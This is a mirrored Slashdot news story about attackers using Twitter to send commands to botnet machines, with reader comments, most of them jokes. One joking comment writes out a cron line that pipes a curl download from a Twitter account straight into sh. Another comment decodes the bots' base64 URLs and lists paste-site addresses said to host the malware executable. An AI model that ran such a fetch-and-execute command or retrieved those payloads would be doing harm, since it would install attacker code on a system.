Slashdot Mirror

← Back to Stories (view on slashdot.org)

Twitter Used To Control Botnet Machines

Posted by ScuttleMonkey on from the it's-all-spam-to-me dept.

DikSeaCup writes "Arbor Network's Jose Nazario, an expert on botnets, discovered what looks to be the first reported case of hackers using Twitter to control botnets. 'Hackers have long used IRC chat rooms to control botnets, and have continually used clever technologies, such as peer-to-peer strategies, to counter efforts to track, disrupt and sometimes decapitate the bots. Perhaps what's surprising then is that it's taken so long for hackers to take Twitter to the dark side.' The next step, of course, is to code the tweets in such a way that they aren't so suspicious."

20 of 127 comments (clear)

  1. Sure, but by operator_error · · Score: 4, Funny

    Sure Twitter is just a large botnet, but is anyone really in control?

  2. Holy shit! by SatanicPuppy · · Score: 5, Funny

    Who knew Twitter had a use?!?!

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    1. Re:Holy shit! by Korin43 · · Score: 4, Insightful

      So basically we need email, but with a 150 character limit?

    2. Re:Holy shit! by michaelhood · · Score: 3, Funny

      Twitter (read: mircoblogging) has tons of potential just waiting for imaginative developers.

      >

      Funny slip that you should call it "mircoblogging" since Twitter is basically logged IRC without channels (hashtags even use #) and a dysfunctional search. Welcome to 15 years ago, kids.

    3. Re:Holy shit! by davester666 · · Score: 3, Funny

      Somebody finally found a way to monetize Twitter!

      --
      Sleep your way to a whiter smile...date a dentist!
    4. Re:Holy shit! by timeOday · · Score: 3, Informative

      I think he's right. I asked a twit co-worker what the heck it was for, and he said aggregating all the various sorts of information, email, texts, rss, etc. My question was why did we split them up in the first place? It should all be email. (Especially texts, I'll never accept that one). Now get off my Korean lawn.

  3. Reliable by Marillion · · Score: 5, Insightful

    Twitter isn't as reliable as IRC.

    --
    This is a boring sig
  4. Re:Alas, Babylon by clone53421 · · Score: 4, Insightful

    That's actually an interesting thought... it was sending obfuscated URLs to code that the zombie bots would download and execute.

    Wouldn't it make sense, rather than having Twitter simply kill the account, to allow the "good" guys to craft some sort of zombie-self-destruct and tweet its URL over the account? Imagine, all the bots automatically downloading and executing a specially designed tool that removes the malicious trojan...

    --
    Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  5. I <3 English by sootman · · Score: 4, Funny

    "Twitter Used To Control Botnet Machines"

    It used to, but it doesn't anymore, right?

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  6. You go Jose! by GPLDAN · · Score: 4, Interesting

    Jose and those guys at Arbor are doing really concrete things to curb botnets and malware contagion. They have their gear in a great number of peering points around the world, and are correlating huge amounts of data into discrete patterns. I've seen Jose speak a couple of times, and I am impressed by the manner in which they are finding the ghosts who think they can't be found.

    1. Re:You go Jose! by 99BottlesOfBeerInMyF · · Score: 4, Interesting

      I've seen Jose speak a couple of times, and I am impressed by the manner in which they are finding the ghosts who think they can't be found.

      I haven't talked to Jose for a while, but last I heard he and the other guys were doing well finding new types of malware and separating out malicious network traffic that is hard to differentiate from legitimate traffic. That said, they were not really doing things to find the one off attacks perpetrated by people who weren't interested in large scale and automated network attacks. The people I'd call ghosts are the ones who do small scale, specifically targeted attacks to get what they want, then walk away. If you're running a botnet, you aren't being very ghostlike; maybe more vampire like :)

  7. Twitter and many others! by hesaigo999ca · · Score: 3, Interesting

    Anything that can be pinged and return any sort of tcp/ip packets could be a control center if the contents of the packets can actually
    be translatable and have been mapped accordingly.

    ie- ftp server has certain verbose return that may be configured based on what is being done, so the botnet program calls home to an ftp server...looking like a plain jane communication to any one looking. It tries a few different commands to which the ftp server can reply (with error messages) it can not proceed, however inside the ftp server error message is a text string that contains certain
    key phrases.

    This scenario is similar to steganography, of hiding in plain sight, inside an image, the contents of data....
    I think it's cool to be able to pass off information that is hidden to regular onlookers, but is a lot of coding for nothing if you ask me.

    Set up a twitter account where a particular page has the commands for all your bots to follow, and....wait a minute....

  8. It's easy to do. by lymond01 · · Score: 5, Funny

    No onE would Think of uSing slashdoT As we aRen'T nearly as oBviOus as someThiNg likE Twitter. // Especially with all our talk about supporting Linux and such.

    1. Re:It's easy to do. by Pulse_Instance · · Score: 5, Funny

      We use linux to read slashdot so your net start does nothing to us.

  9. tried it, but... by wibald · · Score: 4, Funny

    Sure they tried using Twitter to control their botnet but after sending out one set of instructions they got bored and went back to playing MafiaWars on Facebook.

  10. Re:It's not suspicious already by sootman · · Score: 3, Funny

    Hmm... so you're saying I should take out this cron entry...

    * * * * * curl twitter.com/evilguy | sh

    ... that I added per the instructions in some stranger's .sig?

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  11. Perl by BJ_Covert_Action · · Score: 4, Funny

    The next step, of course, is to code the tweets in such a way that they aren't so suspicious

    And people said that perl obfuscation, poetry, and golf tournaments didn't have any practical application. Ha!

    --
    Motorcycles, Robots, Space Gossip and More!
    1. Re:Perl by bugnuts · · Score: 3, Funny
      upd4t3 posted:

      ^<@<.@*
      }"_# |
      -@$&/_%
      !( @|=>
      ;`+$?^?
      ,#"~|)^G

  12. Interesting code actually... by 0100010001010011 · · Score: 4, Informative

    From the looks of it it's all base64 encoded shortened URLs.

    aHR0cDovL2 is http:///
    aHR0cDovL2JpdC5seS is http://bit.ly/

    The first one is clipped.
    The rest go to a pastebinish sites which have gbpm.exe encoded as Base64. It also appears the base64 is different but the exe has the same name (I'm guessing it's changed 'output'?)

    http://rifers.org/paste/content/paste/9507/body?key=upd4t3
    http://rifers.org/paste/content/paste/9508/body?key=upd4t3
    http://rifers.org/paste/content/paste/9509/body?key=upd4t3

    They also use Pastebin (http://pastebin.com/pastebin.php?dl=m49f3b4c2) and Debian.net (http://paste.debian.net/44059/download/44059) but both of those file have been deleted.

  13. Re:Crowdsourced botnet by TheRaven64 · · Score: 3, Funny

    There's already a botnet like that, but it runs on poorly-secured human brains rather than computers.

    --
    I am TheRaven on Soylent News